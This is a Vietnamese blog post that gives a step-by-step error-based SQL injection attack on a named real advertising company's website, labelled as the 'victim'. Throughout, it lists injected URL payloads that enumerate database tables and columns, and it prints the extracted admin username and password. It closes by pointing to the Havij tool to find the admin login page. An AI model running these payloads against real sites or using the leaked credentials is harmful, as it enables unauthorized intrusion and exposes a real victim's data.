Halloween party ideas 2015

[INDENT] Victim: http://quangcaovinasun.com.vn

Bước 1: Check link lỗi

Đối với site aspx, ta thêm dấu ‘ cuối đường link có các ký tự dạng ID=, Sp=…. Nếu thấy site xuất hiện lỗi: 

Unclosed quotation mark after the character string ''

Chứng tỏ site dính lỗi SQLI.
Ví dụ: 
http://quangcaovinasun.com.vn/Produc...MaSP=42’ 


[Image: attachment.php?attachmentid=265&d=1334797944]


Bước 2: Truy vấn tên các table


http://quangcaovinasun.com.vn/Produc...l.aspx?MaSP=42 and 1=convert(int,(select top 1 table_name from information_schema.tables))-- - 


 

Conversion failed when converting the nvarchar value 'tbl_DangNhap' to data type int.

Tiếp tục truy vấn:

http://quangcaovinasun.com.vn/Produc...l.aspx?MaSP=42 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_DangNhap')))-- - 


Conversion failed when converting the nvarchar value 'tbl_DiaChi' to data type int.


[Image: attachment.php?attachmentid=264&d=1334797944]

Tiếp tục,

http://quangcaovinasun.com.vn/Produc...l.aspx?MaSP=42 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_DangNhap','tbl_DiaChi' )))-- - 


Conversion failed when converting the nvarchar value 'tbl_DoiTac' to data type int.


Làm tương tự cho tới khi xuất hiện table user chứa thông tin username và password. Ở site này table chứa thông admin đăng nhập của admin là table đầu tiên:
Tbl_DangNhap


 


Như thông tin khai thác được ở trên. Table chứa thông tin username và password chính là table: 
tbl_DangNhap. Chính vì vậy ta sẽ khai thác table này.


http://quangcaovinasun.com.vn/Produc...l.aspx?MaSP=42 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') ))-- - 



Conversion failed when converting the nvarchar value 'ID' to data type int.

[Image: attachment.php?attachmentid=266&d=1334797944]

http://quangcaovinasun.com.vn/Produc...l.aspx?MaSP=42 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID')))-- - 


Conversion failed when converting the nvarchar value 'TenDN' to data type int.

http://quangcaovinasun.com.vn/Produc...l.aspx?MaSP=42 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID','TenDN')))-- - 


Conversion failed when converting the nvarchar value 'Matkhau' to data type int.


Bước 4: Khai Thác thông tin username và password


- Thông tin username:

http://quangcaovinasun.com.vn/Produc...l.aspx?MaSP=42 and 1=convert(int,(select top 1 TenDN from tbl_DangNhap))-- - 



 

- Thông tin password 

http://quangcaovinasun.com.vn/Produc...l.aspx?MaSP=42 and 1=convert(int,(select top 1 Matkhau from tbl_DangNhap))--- 


 
- Hoặc get cả username và password

http://quangcaovinasun.com.vn/Produc...l.aspx?MaSP=42 and 1=convert(int,(select top 1 TenDN%2b'/'%2bMatkhau from tbl_DangNhap))-- - 


Conversion failed when converting the nvarchar value 'loimv/maihoanglinh@' to data type int

[Image: attachment.php?attachmentid=263&d=1334797944]


Bước 5: Tìm link admin và đăng nhâp 


Sử dụng tool havij hoặc web admin finder, đã được giới thiệu ở bài 2:

http://ducdung08clc.blogspot.com/201...faultvmlo.html 

Ta được link admin: 

http://quangcaovinasun.com.vn/admin/Default.aspx 


admin: loimv

SƯU TẦM

Đăng nhận xét

Được tạo bởi Blogger.